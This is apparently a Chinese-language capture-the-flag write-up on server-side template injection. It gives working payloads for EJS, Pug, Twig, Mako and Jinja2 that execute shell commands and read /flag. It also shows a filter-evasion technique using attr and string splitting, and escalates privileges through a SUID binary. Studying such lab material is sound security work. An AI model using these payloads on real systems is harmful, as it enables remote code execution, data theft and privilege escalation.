什么是服务器端模板注入(SSTI)?

服务器端模板注入(Server-Side Template Injection)是一种漏洞,当应用程序将用户的输入不安全地嵌入到服务器端模板中时就会发生。

现代 Web 框架经常使用模板引擎(如 Python 的 Jinja2、PHP 的 Twig、Java 的 FreeMarker 等)来动态生成 HTML 页面。如果开发者直接将用户输入作为模板内容的一部分进行渲染,而不是将输入作为数据传递给模板,攻击者就可以注入模板指令。这些指令会在服务器端被解析和执行,从而可能导致敏感数据泄露,甚至远程代码执行(RCE)。

如何识别 SSTI 漏洞(一般方法)

测试 SSTI 的最常见且无害的方法是尝试注入各种模板引擎支持的数学表达式。由于不同的模板引擎使用不同的语法,安全测试人员通常会尝试多种常见的闭合标签:

  1. 寻找注入点: 就像您截图中的 ?text= 参数一样,任何反映在页面上的用户输入点都是潜在的测试目标。

  2. 输入测试表达式: 尝试输入简单的数学运算,例如计算 7 乘 7。常见的语法包括:

    • {{7*7}} (常见于 Jinja2, Twig)

    • ${7*7} (常见于 FreeMarker, Velocity)

    • <%= 7*7 %> (常见于 ERB)

    • #{7*7}

ezssti

准确识别后端到底是 Node.js 还是 Ruby

测试 Node.js (EJS):

<%= 'a'.toUpperCase() %>

得到了大写的A

测试 Ruby (ERB):

<%= 'a'.upcase %>

<%= process.mainModule.require('child_process').execSync('ls /').toString() %>

改成cat /flag之后得到flag

ezssti_1

#{7*7}

#{this.constructor.constructor('return process')()}

成功越狱

pre= this.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls /').toString()
| #{this.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls /').toString()}

修改命令得到flag

ezssti_2

发现{{7*7}}等于49

{{process.mainModule.require('child_process').execSync('ls /').toString()}}

最后得到flag

{{process.mainModule.require('child_process').execSync('cat /flag').toString()}}

ezssti_3

说明目标是 PHP + Smarty 模板引擎

ezssti_4

报错发现是php

直接抬走

ezssti_5

报错暴露了php

发现是PHP + Twig 的环境。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls / | xargs")}}

我们把它拆成两半来看:

1. 埋陷阱:{{ _self.env.registerUndefinedFilterCallback("exec") }}

这是整个 Payload 的核心,我们在钻 Twig 错误处理机制的空子。

  • _self:在 Twig 里代表“模板自己”。

  • .env:代表 Twig 的底层环境(Environment)。你可以把它想象成这个网页的**“大总管”**。

  • .registerUndefinedFilterCallback(...):这是一个 Twig 内置的方法。原本的意思是告诉大总管:“如果有人用了一个不存在的过滤器(Undefined Filter),你别急着报错,把这个未知的过滤器名字交给一个**备用函数(Callback)**去处理吧。”

  • ("exec"):这就是我们塞进去的“备用函数”。

连起来的意思就是:

我们对大总管说:“听着,以后谁要是点了一个菜单上没有的菜,你就把菜名直接交给 PHP 的 exec (命令执行大厨) 去做!”

2. 踩陷阱:{{ _self.env.getFilter("ls / | xargs") }}

陷阱挖好了,现在我们要故意触发它。

  • .getFilter(...):这是向大总管请求一个过滤器的操作。

  • ("ls / | xargs"):我们故意请求一个名字极其离谱、叫 ls / | xargs 的过滤器。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag | xargs")}}

ezssti_6

发现应该是python

1. 外壳:${ } (注入框)

这是 Mako/Velocity 等模板引擎的标志。

  • 记忆点:就像一个包裹,里面装的是你要执行的“炸弹”。

2. 引信:__import__('os') (找工具箱)

在 Python 的表达式里,你没法直接写 import os,所以得用这个内置函数。

  • 功能:在代码运行过程中强行把 os(操作系统模块)给拉进来。

  • 记忆点“我要找 OS(操作系统)帮我干活”

3. 动作:.popen('ls /') (下达指令)

  • 功能popen 就是 Pipe Open(开启管道),括号里就是你熟悉的 Linux 命令。

  • 记忆点“开启管道执行命令”ls / 是看家底,你也可以换成 whoami

4. 结果:.read() (把信读出来)

命令执行完后,结果还在内存管道里,如果不读出来,网页上就什么都看不见。

  • 功能:读取命令的输出结果。

  • 记忆点“把执行结果读给网页看”

${__import__('os').popen('ls /').read()}

ezssti_7

发现还是python

ezssti_8

和上一个一样,也是python

ezssti_9

发现也是python,但是好像受到了模板引擎的上下文限制

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == '_wrap_close' %}{{ c.__init__.__globals__['popen']('ls /').read() }}{% endif %}{% endfor %}

1. 外层:Jinja2 模板语法

  • {% for ... %} ... {% endfor %}:这是 Jinja2 的循环语句。用来遍历一个列表。

  • {% if ... %} ... {% endif %}:这是 Jinja2 的条件判断语句。

  • {{ ... }}:这是 Jinja2 的输出语句。它会把里面代码执行的结果,直接打印到你的网页上。

2. 内层:Python 魔术方法(寻宝过程)

这里面的代码之所以长这样,是因为在存在漏洞的服务器里,你不能直接写常规代码(比如 import os; os.system('ls') 会被拦截)。你只能利用系统自带的特殊属性(带有双下划线的方法,俗称“魔术方法”)一步步“越狱”。

我们把这段 Python 代码逐块翻译:

  • []

    • 这是什么:一个普通的 Python 空列表。

    • 为什么用它:因为它是合法且最容易写出来的基础对象,我们要用它作为起点。

  • .__class__

    • 这是什么:查看当前对象属于哪个“类”。

    • 结果:拿到 <class 'list'>

  • .__base__

    • 这是什么:查看当前类的“父类”(基类)。

    • 结果:在 Python 中,所有类的最终父类都是 object。通过这一步,我们拿到了最高级别的类 <class 'object'>

  • .__subclasses__()

    • 这是什么:获取父类的所有子类。

    • 结果:因为所有类都继承自 object,这一步会把服务器当前运行环境中加载的所有类全部列出来,形成一个几百项的“超级大列表”。我们的目标就藏在里面。

  • c.__name__ == '_wrap_close'

    • 这是什么:在 for 循环里,检查当前拿到的类(命名为 c),它的名字是不是等于 _wrap_close

    • 为什么找它:安全研究员发现,这个特定的类内部包含了我们需要的系统命令执行函数。它是一个现成的“跳板”。

  • c.__init__.__globals__

    • 这是什么:找到这个类后,访问它的初始化方法(__init__),然后通过 __globals__ 强行读取这个方法所在环境的全局变量字典

    • 结果:在这个巨大的全局字典中,直接包含了系统的 os 模块和相关的危险函数。

  • ['popen']('ls /').read()

    • 这是什么:从刚才那个全局字典里,提取出名为 popen 的函数。给它传入参数 'ls /'(Linux 查看根目录命令)。最后加上 .read() 将执行返回的结果读取成文本流。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == '_wrap_close' %}{{ c.__init__.__globals__['popen']('cat /flag').read() }}{% endif %}{% endfor %}

ezssti_10

尝试了一下发现还是python,但是好像需要绕过

{{(url_for|attr('__glo'+'bals__'))|attr('__getitem__')('__buil'+'tins__')|attr('__getitem__')('o'+'pen')('/f'+'lag')|attr('read')()}}

1. 寻找“锚点”:为什么是 url_for

在 SSTI 中,我们处于沙箱环境,不能直接访问 osopen。我们需要一个切入点(锚点),即模板中原本就存在的函数。

  • url_for 是 Flask 框架内置的一个函数。

  • 每一个函数在 Python 中都有一个 __globals__ 属性,它指向该函数定义处的全局命名空间。

  • 逻辑: 既然我拿不到系统权限,我就先抓住一个“内部人员”(url_for),搜它的身(__globals__),看看它带了哪些钥匙。

2. 突破“禁区”:为什么用 |attr+

这就是针对 WAF(防火墙)的变形术

  • 常规写法: url_for.__globals__

  • 防御检测: 很多 WAF 会匹配 . 或者 __globals__ 字符串。

  • 绕过手段: * 使用 |attr('...') 过滤器:在 Jinja2 中,$obj.prop$ 等同于 $obj|attr('prop')$。

    • 字符串拼接:'__glo' + 'bals__' 在静态检查时只是一段无关痛痒的字符串相加,但在执行时,它会被还原成 __globals__

3. 获取“万能工具箱”:__builtins__

url_for.__globals__ 这个巨大的字典里,藏着一个叫 __builtins__ 的宝库。

  • __builtins__ 包含了 Python 所有的内置函数,比如 int()len(),以及我们最想要的 open()

  • 因为 __globals__ 是个字典,正常访问是 dict['key']。但如果 [] 被拦截了,就得用字典的内置方法:dict.__getitem__('key')

4. 逻辑全解析

让我们把你的 Payload 还原成标准的 Python 逻辑:

你的写法 (Jinja2) 对应 Python 逻辑 目的
url_for url_for 找到一个合法的内置对象
` attr('glo'+'bals')` .__globals__
` attr('getitem')('buil'+'tins')` ['__builtins__']
` attr('getitem')('o'+'pen')` ['open']
('/f'+'lag') ('/flag') 调用 open 函数,指定路径
` attr('read')()` .read()

ezssti_12

和上面的一样绕过

ezssti_13

{{(url_for|attr('__glo'+'bals__'))|attr('__getitem__')('__buil'+'tins__')|attr('__getitem__')('o'+'pen')('/f'+'lag')|attr('read')()}}

发现权限不够

{{(url_for|attr('__glo'+'bals__'))|attr('__getitem__')('__buil'+'tins__')|attr('__getitem__')('__import__')('os')|attr('popen')('ls -l /')|attr('read')()}}

查看根目录的情况

发现flag只能root进行读取

{{(url_for|attr('__glo'+'bals__'))|attr('__getitem__')('__buil'+'tins__')|attr('__getitem__')('__import__')('os')|attr('popen')('env')|attr('read')()}}

查看环境的情况

查找 SUID 文件

{{(url_for|attr('__glo'+'bals__'))|attr('__getitem__')('__buil'+'tins__')|attr('__getitem__')('__import__')('os')|attr('popen')('find / -perm -u=s -type f 2>/dev/null')|attr('read')()}}

{{(url_for|attr('__glo'+'bals__'))|attr('__getitem__')('__buil'+'tins__')|attr('__getitem__')('__import__')('os')|attr('popen')('/usr/local/bin/env cat /flag')|attr('read')()}}

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐